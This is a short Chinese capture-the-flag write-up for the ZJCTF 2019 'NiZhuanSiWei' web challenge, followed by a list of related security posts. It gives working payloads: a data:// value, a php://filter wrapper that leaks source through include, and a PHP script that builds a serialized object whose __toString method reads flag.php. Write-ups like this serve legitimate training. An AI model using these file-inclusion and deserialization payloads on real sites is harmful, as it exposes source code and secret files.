[ZJCTF 2019]NiZhuanSiWei

关键点:

(1)file_get_contents($text,'r')

(2)include($file)

(3)$password = unserialize($password);
echo $password;

1.变量如何变成文件输出

text=data://text/plaint,welcome to the zjctf

  1. include($file)文件包含

file=php://filter/convert.base64-encode/resource=useless.php

3.反序列化

源码

php 复制代码
<?php  
class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

构造

php 复制代码
<?php
class Flag{  
     public $file='flag.php';
}
$a=new Flag;
echo serialize($a) ;
?>

上面的源码有echo $password,会触发__toString()。

相关推荐
CyberMuse3 小时前
网络安全cybersecurity的几个新领域
网络安全
HEX9CF4 小时前
【CTF Web】Pikachu xss之href输出 Writeup(GET请求+反射型XSS+javascript:伪协议绕过)
开发语言·前端·javascript·安全·网络安全·ecmascript·xss
火红的小辣椒4 小时前
XSS基础
android·web安全
kuber09094 小时前
APISIX 联动雷池 WAF 实现 Web 安全防护
网络安全
Z3r4y4 小时前
【Web】portswigger 服务端原型污染 labs 全解
javascript·web安全·nodejs·原型链污染·wp·portswigger
小镇航海家13 小时前
红日靶场1学习笔记
网络·笔记·学习·web安全·渗透测试
你怎么睡得着的!16 小时前
【web安全】——XSS漏洞
安全·web安全·xss